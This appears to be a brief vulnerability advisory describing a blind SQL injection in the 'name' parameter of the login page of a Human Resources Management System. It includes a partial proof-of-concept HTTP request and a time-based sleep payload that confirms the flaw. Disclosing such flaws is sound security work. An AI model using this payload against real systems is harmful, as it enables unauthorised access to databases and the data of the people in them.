## Description 
A Blind SQL injection vulnerability in the login page (/hrm/controller/login.php) in Human Resources Management System allows remote unauthenticated attackers to execute remote command through arbitrary SQL commands by "name" parameter. 

## Request PoC
```
POST /hrm/controller/login.php HTTP/1.1

Accept-Encoding: gzip, deflate
Accept: */*

This request causes an error. Adding "'%2b(select*from(select(sleep(20)))a)%2b'" to the end of "name" parameter, the response to request was 302 status code with message of Found, but 20 seconds later, which indicates that our sleep 20 command works.
